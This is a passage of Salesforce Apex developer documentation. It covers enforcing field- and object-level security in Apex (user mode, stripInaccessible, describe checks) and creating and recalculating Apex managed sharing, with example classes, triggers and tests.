- `Database.getCursor` method
- `Database.getPaginationCursor` method
- `Search.query` method
- [Database DML methods](#) (insert, update, upsert, merge, delete, undelete, and convertLead). Includes the *Immediate and *Async methods, such as `insertImmediate` and `deleteAsync`.

 **Tip:** If you run Database DML methods with `AccessLevel.USER_MODE`, you can access errors via `SaveResult.getErrors().getFields()`.

These Database methods require the `accessLevel` parameter.

- `Database.queryWithBinds`.
- `Database.getQueryLocatorWithBinds`
- `Database.countQueryWithBinds`
- `Database.getCursorWithBinds`
- `Database.getPaginationCursorWithBinds`

Use Permission Sets to Enforce Security in DML and Search Operations (Developer Preview)

In Developer Preview, you can specify a permission set that to augment the field-level and object-level security for database and search operations. Run the `AccessLevel.withPermissionSetId()` method with a specified permission set ID. Specific user mode DML operations that are performed with that `AccessLevel`, respect the permissions in the specified permission set, in addition to the running user's permissions.

This example runs the `AccessLevel.withPermissionSetId()` method with the specified permission set and inserts a custom object.

```
@IsTest
public with sharing class ElevateUserModeOperations_Test {
    @IsTest
    static void objectCreatePermViaPermissionSet() {
        Profile p = [
            SELECT Id
            FROM Profile
            WHERE Name = 'Minimum Access - Salesforce'
        ];
        User u = new User(
            Alias = 'standt',
            Email = 'standarduser@testorg.com',
            EmailEncodingKey = 'UTF-8',
            LastName = 'Testing',
            LanguageLocaleKey = 'en_US',
            LocaleSidKey = 'en_US',
            ProfileId = p.Id,
            TimeZoneSidKey = 'America/Los_Angeles',
            UserName = 'standarduser' + DateTime.now().getTime() + '@testorg.com'
        );

        System.runAs(u) {
```

```

try {
    Database.insert(new Account(name = 'foo'), AccessLevel.User_mode);
    Assert.fail();
} catch (SecurityException ex) {
    Assert.isTrue(ex.getMessage().contains('Account'));
}
//Get ID of previously created permission set named 'AllowCreateToAccount'
Id permissionSetId = [
    SELECT Id
    FROM PermissionSet
    WHERE Name = 'AllowCreateToAccount'
    LIMIT 1
].Id;

Database.insert(
    new Account(name = 'foo'),
    AccessLevel.User_mode.withPermissionSetId(permissionSetId)
);

// The elevated access level is not persisted to subsequent operations
try {
    Database.insert(new Account(name = 'foo2'), AccessLevel.User_mode);
    Assert.fail();
} catch (SecurityException ex) {
    Assert.isTrue(ex.getMessage().contains('Account'));
}
}
}
}

```



Note: Checkmarx, the [AppExchange Security Review](#) source code scanner, isn't updated with this new Apex feature. Until it's updated, Checkmarx can generate false positives for field or object-level security violations that require exception documentation.

Versioned Behavior Changes

In API version 67.0 and later, Apex runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. In API version 66.0 and earlier, system mode is the default.

Enforce Security with the `stripInaccessible` Method

Use the `stripInaccessible` method to enforce field-level and object-level data protection by stripping fields and relationship fields from query and subquery results that the user can't access. The method can also be used to remove inaccessible sObject fields before DML operations to avoid exceptions and to sanitize sObjects that have been deserialized from an untrusted source.

The `Security.stripInaccessible()` method takes a permission set ID as a parameter and enforces field-level and object-level access as per the specified permission set, in addition to the running user's permissions.

The method allows graceful degradation of the application by omitting fields, rather than failing outright, and is similar to the behavior with views, reports, and layouts. Developers can enforce security at the level of business processes, and not merely at the object, field, or row level. This approach allows coverage of a large number of platform features that pass records into Apex from potentially untrusted sources such as Apex REST, Lightning clients, and so on.

 **Note:** The ID field is never stripped by the `stripInaccessible` method to avoid issues when performing DML on the result.

Implementation Details

The field-level and object-level data protection is accessed through the [Security](#) and [SObjectAccessDecision](#) classes. The access check is based on the field-level permission of the current user in the context of the specified operation—create, read, update, or upsert. The [Security.stripInaccessible\(\)](#) method checks the source records for fields that don't meet the field-level security check for the current user. The method also checks the source records for lookup or master-detail relationship fields to which the current user doesn't have access. The method creates a return list of sObjects that is identical to the source records, except that the fields that are inaccessible to the current user are removed. The sObjects returned by the `getRecords` method contain records in the same order as the sObjects in the `sourceRecords` parameter of the `stripInaccessible` method.

Considerations

- Use this feature for graceful degradation on errors by omitting fields, rather than failing outright.
- The `stripInaccessible` method doesn't support AggregateResult SObject. If the source records are of AggregateResult SObject type, an exception is thrown.
- To enforce object and field permissions on the User object and hide a user's personal information from other users in orgs with Experience Cloud sites, see [Enforcing Object and Field Permissions](#).

Examples

These examples show several applications of the `stripInaccessible` method.

This example code removes inaccessible fields from the query result. A display table for campaign data must always show the `BudgetedCost`. The `ActualCost` must be shown only to users who have permission to read that field.

```
SObjectAccessDecision securityDecision =
    Security.stripInaccessible(AccessType.READABLE,
        [SELECT Name, BudgetedCost, ActualCost FROM Campaign]
    );

// Construct the output table
if (securityDecision.getRemovedFields().get('Campaign').contains('ActualCost')) {
    for (Campaign c : securityDecision.getRecords()) {
        //System.debug Output: Name, BudgetedCost
    }
} else {
    for (Campaign c : securityDecision.getRecords()) {
        //System.debug Output: Name, BudgetedCost, ActualCost
    }
}
```

This example code removes inaccessible fields from the subquery result. The user doesn't have permission to read the `Phone` field of a Contacts object.

```
List<Account> accountsWithContacts =
    [SELECT Id, Name, Phone,
        (SELECT Id, LastName, Phone FROM Account.Contacts)
    FROM Account];

// Strip fields that are not readable
```

```

SObjectAccessDecision decision = Security.stripInaccessible(
    AccessType.READABLE,
    accountsWithContacts);

// Print stripped records
for (Integer i = 0; i < accountsWithContacts.size(); i++)
{
    System.debug('Insecure record access: '+accountsWithContacts[i]);
    System.debug('Secure record access: '+decision.getRecords()[i]);
}

// Print modified indexes
System.debug('Records modified by stripInaccessible: '+decision.getModifiedIndexes());

// Print removed fields
System.debug('Fields removed by stripInaccessible: '+decision.getRemovedFields());

```

This example code removes inaccessible fields from sObjects before DML operations. The user who doesn't have permission to create Rating for an Account can still create an Account. The method ensures that no Rating is set and doesn't throw an exception.

```

List<Account> newAccounts = new List<Account>();
Account a = new Account(Name='Acme Corporation');
Account b = new Account(Name='Blaze Comics', Rating='Warm');
newAccounts.add(a);
newAccounts.add(b);

SObjectAccessDecision securityDecision = Security.stripInaccessible(
    AccessType.CREATABL, newAccounts);

// No exceptions are thrown and no rating is set
insert securityDecision.getRecords();

System.debug(securityDecision.getRemovedFields().get('Account')); // Prints "Rating"
System.debug(securityDecision.getModifiedIndexes()); // Prints "1"

```

This example code sanitizes sObjects that have been deserialized from an untrusted source. The user doesn't have permission to update the AnnualRevenue of an Account.

```

String jsonInput =
'[' +
'{' +
'"Name": "InGen",' +
'"AnnualRevenue": "100"' +
'},' +
'{' +
'"Name": "Octan"' +
'}' +
'];'

List<Account> accounts = (List<Account>)JSON.deserializeStrict(jsonInput,
List<Account>.class);
SObjectAccessDecision securityDecision = Security.stripInaccessible(
    AccessType.UPDATABLE, accounts);

```



```
// Secure update
update securityDecision.getRecords(); // Doesn't update AnnualRevenue field
System.debug(String.join(securityDecision.getRemovedFields().get('Account'), ', ')); //
Prints "AnnualRevenue"
System.debug(String.join(securityDecision.getModifiedIndexes(), ', ')); // Prints "0"
```

This example code removes inaccessible relationship fields from the query result. The user doesn't have permission to insert the Account__c field, which is a lookup from MyCustomObject__c to Account.

```
// Account__c is a lookup from MyCustomObject__c to Account
@Test
public class TestCustomObjectLookupStripped {
    @Test static void caseCustomObjectStripped() {
        Account a = new Account(Name='foo');
        insert a;
        List<MyCustomObject__c> records = new List<MyCustomObject__c>{
            new MyCustomObject__c(Name='Custom0', Account__c=a.id)
        };
        insert records;
        records = [SELECT Id, Account__c FROM MyCustomObject__c];
        SOBJECT_ACCESS_DECISION securityDecision = Security.stripInaccessible
            (AccessType.READABLE, records);

        // Verify stripped records
        System.assertEquals(1, securityDecision.getRecords().size());
        for (SOBJECT_STRIPPED_RECORD strippedRecord : securityDecision.getRecords()) {
            System.debug('Id should be set as Id fields are ignored: ' +
                strippedRecord.isSet('Id')); // prints true
            System.debug('Lookup field FLS is not READABLE to running user,
                should not be set: ' +
                strippedRecord.isSet('Account__c')); // prints false
        }
    }
}
```

Versioned Behavior Changes

In API version 67.0 and later, Apex runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. In API version 66.0 and earlier, system mode is the default.

SEE ALSO:

[Apex Reference Guide: AccessType Enum](#)

[Apex Reference Guide: Security Class](#)

[Apex Reference Guide: SOBJECT_ACCESS_DECISION Class](#)

Enforce Security with Field and SOBJECT Describe Methods

At the most granular level, you can enforce object-level and field-level permissions in your code by explicitly calling the `Schema.DescribeObjectResult` and the `Schema.DescribeFieldResult` methods to check the current user's access permission levels.

By using the [Schema.DescribeSObjectResult](#) methods and the [Schema.DescribeFieldResult](#) methods, you can verify that the current user has the necessary permissions and perform a specific DML operation or a query only if the user has sufficient permissions.

For example, you can call the `isAccessible`, `isCreateable`, or `isUpdateable` methods of `Schema.DescribeSObjectResult` to verify whether the current user has read, create, or update access to an sObject, respectively. Similarly, `Schema.DescribeFieldResult` exposes these access control methods that you can call to check the current user's read, create, or update access for a field. In addition, you can call the `isDeletable` method provided by `Schema.DescribeSObjectResult` to check if the current user has permission to delete a specific sObject.

These examples call the access control methods.

To check the field-level update permission of the contact's email field before updating it:

```
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
    // Update contact phone number
}
```

To check the field-level create permission of the contact's email field before creating a new contact:

```
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
    // Create new contact
}
```

To check the field-level read permission of the contact's email field before querying for this field:

```
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
    Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}
```

To check the object-level permission for the contact before deleting the contact:

```
if (Schema.sObjectType.Contact.isDeletable()) {
    // Delete contact
}
```

Class Security

You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can only set security on Apex classes, not on triggers.

To set Apex class security from the class list page, see [Set Apex Class Access from the Class List Page](#)

To set Apex class security from the class detail page, see [Set Apex Class Access from the Class List Page](#)

To set Apex class security from a permission set:

1. From Setup, enter *Permission Sets* in the Quick Find box, then select **Permission Sets**.
2. Select a permission set.
3. Click **Apex Class Access**.
4. Click **Edit**.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click **Add**, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click **Remove**.
6. Click **Save**.

To set Apex class security from a profile:

1. From Setup, enter *Profiles* in the Quick Find box, then select **Profiles**.

2. Select a profile.
3. In the Apex Class Access page or related list, click **Edit**.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click **Add**, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click **Remove**.
5. Click **Save**.

Understanding Apex Managed Sharing

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access can be granted using the Salesforce user interface and Lightning Platform, or programmatically using Apex.

For more information on sharing, see *Set Your Internal Organization-Wide Sharing Defaults* in the Salesforce online help.

[Understanding Sharing](#)

Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity and Case). Administrators first set an object's organization-wide default sharing access level, and then grant additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant additional access programmatically with Apex.

[Sharing a Record Using Apex](#)

[Recalculating Apex Managed Sharing](#)

Understanding Sharing

Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity and Case). Administrators first set an object's organization-wide default sharing access level, and then grant additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant additional access programmatically with Apex.

Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.

Types of Sharing

Salesforce has the following types of sharing:

Managed Sharing

Managed sharing involves sharing access granted by Lightning Platform based on record ownership, the role hierarchy, and sharing rules:

Record Ownership

Each record is owned by a user or optionally a queue for custom objects, cases and leads. The *record owner* is automatically granted Full Access, allowing them to view, edit, transfer, share, and delete the record.

Role Hierarchy

The *role hierarchy* enables users above another user in the hierarchy to have the same level of access to records owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more information, see "Controlling Access Using Hierarchies" in the Salesforce online help.

Sharing Rules

Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed from AppExchange.

Sharing rules can be based on record ownership or other criteria. You can't use Apex to create criteria-based sharing rules. Also, criteria-based sharing cannot be tested using Apex.

All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API, or Apex.

User Managed Sharing, also known as Manual Sharing

User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of users. This is generally done by an end user, for a single record. Only the record owner and users above the owner in the role hierarchy are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the "Modify All Records" object-level permission for the given object or the "Modify All Data" permission can also manually share a record. User managed sharing is removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the object's organization-wide sharing default access level.

Apex Managed Sharing

Apex managed sharing provides developers with the ability to support an application's particular sharing requirements programmatically through Apex or the SOAP API. This type of sharing is similar to managed sharing. Only users with "Modify All Data" permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.



Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

The Sharing Reason Field

In the Salesforce user interface, the `Reason` field on a custom object specifies the type of sharing used for a record. This field is called `rowCause` in Apex or the API.

Each of the following list items is a type of sharing used for records. The tables show `Reason` field value, and the related `rowCause` value.

- Managed Sharing

Reason Field Value	rowCause Value (Used in Apex or the API)
Account Sharing	ImplicitChild
Associated record owner or sharing	ImplicitParent
Owner	Owner
Opportunity Team	Team
Sharing Rule	Rule
Territory Assignment Rule	TerritoryRule

- User Managed Sharing

Reason Field Value	rowCause Value (Used in Apex or the API)
Manual Sharing	Manual
Territory Manual	TerritoryManual

 **Note:** With Enterprise Territory Management in API version 45.0 and later, `Territory2AssociationManual` replaces `TerritoryManual`.

- Apex Managed Sharing

Reason Field Value	rowCause Value (Used in Apex or the API)
Defined by developer	Defined by developer

The displayed reason for Apex managed sharing is defined by the developer.

Access Levels

When determining a user's access to a record, the most permissive level of access is used. Most share objects support the following access levels:

Access Level	API Name	Description
Private	None	Only the record owner and users above the record owner in the role hierarchy can view and edit the record. This access level only applies to the AccountShare object.
Read Only	Read	The specified user or group can view the record only.
Read/Write	Edit	The specified user or group can view and edit the record.
Full Access	All	The specified user or group can view, edit, transfer, share, and delete the record.

 **Note:** This access level can only be granted with managed sharing.

Sharing Considerations

Apex Triggers and User Record Sharing

If a trigger changes the owner of a record, the running user must have read access to the new owner's user record if the trigger is started through the following:

- API
- Standard user interface
- Standard Visualforce controller
- Class defined with the `with sharing` keyword

If a trigger is started through a class that's not defined with the `with sharing` keyword, the trigger runs in system mode. In this case, the trigger doesn't require the running user to have specific access.

Sharing a Record Using Apex

 **Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want to share. For example, `AccountShare` is the sharing object for the `Account` object, `ContactShare` is the sharing object for the `Contact` object. In addition, all custom object sharing objects are named as follows, where *MyCustomObject* is the name of the custom object:

`MyCustomObject__Share`

Objects on the detail side of a master-detail relationship don't have an associated sharing object. The detail record's access is determined by the master's sharing object and the relationship's sharing setting. For more information, see "Custom Object Security" in the Salesforce Help.

A share object includes records supporting all three types of sharing: managed sharing, user managed sharing, and Apex managed sharing. Sharing that is granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as the "View All Records" and "Modify All Records" permissions for the given object, "View All Data," and "Modify All Data" aren't tracked with this object.

Every share object has the following properties:

Property Name	Description
<code>objectNameAccessLevel</code>	The level of access that the specified user or group has been granted for a share sObject. The name of the property is <code>AccessLevel</code> appended to the object name. For example, the property name for <code>LeadShare</code> object is <code>LeadAccessLevel</code>. Valid values are: • <code>Edit</code> • <code>Read</code> • <code>All</code>  Note: The <code>All</code> access level is an internal value and can't be granted. This field must be set to an access level that's higher than the organization's default access level for the parent object. For more information, see Understanding Sharing on page 223.
<code>ParentID</code>	The ID of the custom object. This field can't be updated.
<code>RowCause</code>	The reason why the user or group is being granted access. The reason determines the type of sharing, which controls who can alter the sharing record. This field can't be updated.
<code>UserOrGroupId</code>	The user or group IDs to which you're granting access. A group can be: • A public group or a sharing group associated with a role. • A territory group. This field can't be updated.  Note: You can't grant access to unauthenticated guest users using Apex.

You can share a standard or custom object with users or groups. For more information about the types of users and groups you can share an object with, see [User](#) and [Group](#) in the *Object Reference for Salesforce*.

Creating User Managed Sharing Using Apex

It's possible to manually share a record to a user or a group using Apex or SOAP API. If the owner of the record changes, the sharing is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a custom object called Job.

 **Note:** Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are removed when ownership changes.

```
public class JobSharing {

    public static boolean manualShareRead(Id recordId, Id userOrGroupId){
        // Create new sharing object for the custom object Job.
        Job__Share jobShr = new Job__Share();

        // Set the ID of record being shared.
        jobShr.ParentId = recordId;

        // Set the ID of user or group being granted access.
        jobShr.UserOrGroupId = userOrGroupId;

        // Set the access level.
        jobShr.AccessLevel = 'Read';

        // Set rowCause to 'manual' for manual sharing.
        // This line can be omitted as 'manual' is the default value for sharing objects.
        jobShr.RowCause = Schema.Job__Share.RowCause.Manual;

        // Insert the sharing record and capture the save result.
        // The false parameter allows for partial processing if multiple records passed
        // into the operation.
        Database.SaveResult sr = Database.insert(jobShr, false);

        // Process the save results.
        if(sr.isSuccess()){
            // Indicates success
            return true;
        }
        else {
            // Get first save result error.
            Database.Error err = sr.getErrors()[0];

            // Check if the error is related to trivial access level.
            // Access level must be more permissive than the object's default.
            // These sharing records are not required and thus an insert exception is
            acceptable.
            if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
                err.getMessage().contains('AccessLevel')){
                // Indicates success.
                return true;
            }
        }
    }
}
```

```

    }
    else{
        // Indicates failure.
        return false;
    }
}
}
}

```

```

@isTest
private class JobSharingTest {
    // Test for the manualShareRead method
    static testMethod void testManualShareRead(){
        // Select users for the test.
        List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
        Id User1Id = users[0].Id;
        Id User2Id = users[1].Id;

        // Create new job.
        Job__c j = new Job__c();
        j.Name = 'Test Job';
        j.OwnerId = user1Id;
        insert j;

        // Insert manual share for user who is not record owner.
        System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);

        // Query job sharing records.
        List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
            RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];

        // Test for only one manual share on job.
        System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
```

```

        // Test attributes of manual share.
        System.assertEquals(jShrs[0].AccessLevel, 'Read');
        System.assertEquals(jShrs[0].RowCause, 'Manual');
        System.assertEquals(jShrs[0].UserOrGroupId, user2Id);

        // Test invalid job Id.
        delete j;

        // Insert manual share for deleted job id.
        System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
    }
}

```

 **Important:** The object's organization-wide default access level must not be set to the most permissive access level. For custom objects, this level is Public Read/Write. For more information, see [Understanding Sharing](#) on page 223.

Creating Apex Managed Sharing

Apex managed sharing enables developers to programmatically manipulate sharing to support their application's behavior through either Apex or SOAP API. This type of sharing is similar to managed sharing. Only users with "Modify All Data" permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.

Apex managed sharing must use an *Apex sharing reason*. Apex sharing reasons are a way for developers to track why they shared a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different reasons.



Note: Apex sharing reasons aren't available in Lightning Experience. Use Salesforce Classic to create sharing reasons within the UI. See [Point and Click Customization](#) for the complete list of differences in features and settings between Salesforce Classic and Lightning Experience.

Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:

- The label displays in the `Reason` column when viewing the sharing for a record in the user interface. This label allows users and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
- The name is used when referencing the reason in the API and Apex.

All Apex sharing reason names have the following format:

```
MyReasonName__c
```

Apex sharing reasons can be referenced programmatically as follows:

```
Schema.CustomObject__Share.rowCause.SharingReason__c
```

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:

```
Schema.Job__Share.rowCause.Recruiter__c
```

For more information, see [System.Schema Class](#).

To create an Apex sharing reason:

1. From the management settings for the custom object, click **New** in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the `Reason` column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench.
3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
4. Click **Save**.



Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

Apex Managed Sharing Example

For this example, suppose that you're building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager access when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object must have two sharing reasons added called Hiring_Manager and Recruiter.

```
trigger JobApexSharing on Job__c (after insert) {
```

```

if(trigger.isInsert){
    // Create a new list of sharing objects for Job
    List<Job__Share> jobShrs = new List<Job__Share>();

    // Declare variables for recruiting and hiring manager sharing
    Job__Share recruiterShr;
    Job__Share hmShr;

    for(Job__c job : trigger.new){
        // Instantiate the sharing objects
        recruiterShr = new Job__Share();
        hmShr = new Job__Share();

        // Set the ID of record being shared
        recruiterShr.ParentId = job.Id;
        hmShr.ParentId = job.Id;

        // Set the ID of user or group being granted access
        recruiterShr.UserOrGroupId = job.Recruiter__c;
        hmShr.UserOrGroupId = job.Hiring_Manager__c;

        // Set the access level
        recruiterShr.AccessLevel = 'edit';
        hmShr.AccessLevel = 'read';

        // Set the Apex sharing reason for hiring manager and recruiter
        recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
        hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;

        // Add objects to list for insert
        jobShrs.add(recruiterShr);
        jobShrs.add(hmShr);
    }

    // Insert sharing records and capture save result
    // The false parameter allows for partial processing if multiple records are passed

    // into the operation
    Database.SaveResult[] lsr = Database.insert(jobShrs, false);

    // Create counter
    Integer i=0;

    // Process the save results
    for(Database.SaveResult sr : lsr){
        if(!sr.isSuccess()){
            // Get the first save result error
            Database.Error err = sr.getErrors()[0];

            // Check if the error is related to a trivial access level
            // Access levels equal or more permissive than the object's default
            // access level are not allowed.
            // These sharing records are not required and thus an insert exception is

```

```

        // acceptable.
        if (!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION

                                &&
err.getMessage().contains('AccessLevel'))){
            // Throw an error when the error is not related to trivial access
            level.

            trigger.newMap.get(jobShrs[i].ParentId).
                addError(
                    'Unable to grant sharing access due to following exception: '
                    + err.getMessage());
        }
    }
    i++;
}
}
}
}

```

Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:

- A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write, indicating the higher level of access.
- Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating the higher level of access.

 **Important:** The object's organization-wide default access level must not be set to the most permissive access level. For custom objects, this level is Public Read/Write. For more information, see [Understanding Sharing](#) on page 223.

Creating Apex Managed Sharing for Customer Community Plus users

Customer Community Plus users are previously known as Customer Portal users. Share objects, such as `AccountShare` and `ContactShare`, aren't available to these users. If you must use share objects as a Customer Community Plus user, consider using a trigger, which operates with the `without sharing` keyword by default. Otherwise, use an inner class with the same keyword to enable the DML operation to run successfully. A separate utility class can also be used to enable this access.

Granting visibility via manual or apex shares written to the share objects is supported but the objects themselves aren't available to Customer Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.

 **Warning:** After enabling digital experiences, records accessible to Roles and Subordinates via Apex managed sharing are automatically made accessible to Roles, Internal, and Portal Subordinates. To secure external users' access, update your Apex code so that it creates shares to the Role and Internal Subordinates group. Because this conversion is a large-scale operation, consider using [batch Apex](#).

Recalculating Apex Managed Sharing

Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes. The recalculation adds managed sharing when appropriate. In addition, all types of sharing are removed if the access they grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object's sharing model changes from Private to Public Read Only.

To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation. You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related list.

 **Note:** Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined by the application's logic. You can also use the `Database.executeBatch` method to programmatically invoke an Apex managed sharing recalculation.

 **Note:** Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes defined for associated custom object are also executed.

To monitor or stop the execution of the Apex recalculation, from Setup, enter *Apex Jobs* in the *Quick Find* box, then select **Apex Jobs**.

Creating an Apex Class for Recalculating Sharing

To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the Salesforce-provided interface `Database.Batchable`.

The `Database.Batchable` interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can implement this interface more than once in your organization. For more information on the methods that must be implemented, see [Use Batch Apex](#) on page 306.

Before creating an Apex managed sharing recalculation class, also consider the [best practices](#).

 **Important:** The object's organization-wide default access level must not be set to the most permissive access level. For custom objects, this level is Public Read/Write. For more information, see [Understanding Sharing](#) on page 223.

Apex Managed Sharing Recalculation Example

For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example requires a custom object called Job, with two lookup fields associated with User records called `Hiring_Manager__c` and `Recruiter__c`. Also, the Job custom object should have two sharing reasons added called `Hiring_Manager` and `Recruiter`. Before you run this sample, replace the email address with a valid email address to which you want to send error notifications and job completion notifications.

```
global class JobSharingRecalc implements Database.Batchable<sObject> {

    // String to hold email address that emails will be sent to.
    // Replace its value with a valid email address.
    static String emailAddress = 'admin@yourcompany.com';

    // The start method is called at the beginning of a sharing recalculation.
    // This method returns a SOQL query locator containing the records
    // to be recalculated.
    global Database.QueryLocator start(Database.BatchableContext BC) {
        return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
                                         FROM Job__c]);
    }

    // The executeBatch method is called for each chunk of records returned from start.
```

```

global void execute(Database.BatchableContext BC, List<sObject> scope){
    // Create a map for the chunk of records passed into method.
    Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);

    // Create a list of Job__Share objects to be inserted.
    List<Job__Share> newJobShrs = new List<Job__Share>();

    // Locate all existing sharing records for the Job records in the batch.
    // Only records using an Apex sharing reason for this app should be returned.
    List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
        :jobMap.keySet() AND
        (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
        RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];

    // Construct new sharing records for the hiring manager and recruiter
    // on each Job record.
    for(Job__c job : jobMap.values()){
        Job__Share jobHMShr = new Job__Share();
        Job__Share jobRecShr = new Job__Share();

        // Set the ID of user (hiring manager) on the Job record being granted access.

        jobHMShr.UserOrGroupId = job.Hiring_Manager__c;

        // The hiring manager on the job should always have 'Read Only' access.
        jobHMShr.AccessLevel = 'Read';

        // The ID of the record being shared
        jobHMShr.ParentId = job.Id;

        // Set the rowCause to the Apex sharing reason for hiring manager.
        // This establishes the sharing record as Apex managed sharing.
        jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;

        // Add sharing record to list for insertion.
        newJobShrs.add(jobHMShr);

        // Set the ID of user (recruiter) on the Job record being granted access.
        jobRecShr.UserOrGroupId = job.Recruiter__c;

        // The recruiter on the job should always have 'Read/Write' access.
        jobRecShr.AccessLevel = 'Edit';

        // The ID of the record being shared
        jobRecShr.ParentId = job.Id;

        // Set the rowCause to the Apex sharing reason for recruiter.
        // This establishes the sharing record as Apex managed sharing.
        jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;

        // Add the sharing record to the list for insertion.
        newJobShrs.add(jobRecShr);
    }
}

```

```

try {
    // Delete the existing sharing records.
    // This allows new sharing records to be written from scratch.
    Delete oldJobShrs;

    // Insert the new sharing records and capture the save result.
    // The false parameter allows for partial processing if multiple records are
    // passed into operation.
    Database.SaveResult[] lsr = Database.insert(newJobShrs, false);

    // Process the save results for insert.
    for(Database.SaveResult sr : lsr){
        if(!sr.isSuccess()){
            // Get the first save result error.
            Database.Error err = sr.getErrors()[0];

            // Check if the error is related to trivial access level.
            // Access levels equal or more permissive than the object's default
            // access level are not allowed.
            // These sharing records are not required and thus an insert exception
            // is acceptable.
            if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION

                && err.getMessage().contains('AccessLevel'))){
                // Error is not related to trivial access level.
                // Send an email to the Apex job's submitter.
                Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

                String[] toAddresses = new String[] {emailAddress};
                mail.setToAddresses(toAddresses);
                mail.setSubject('Apex Sharing Recalculation Exception');
                mail.setPlainTextBody(
                    'The Apex sharing recalculation threw the following exception: ' +

                        err.getMessage());
                Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
            }
        }
    }
} catch(DmlException e) {
    // Send an email to the Apex job's submitter on failure.
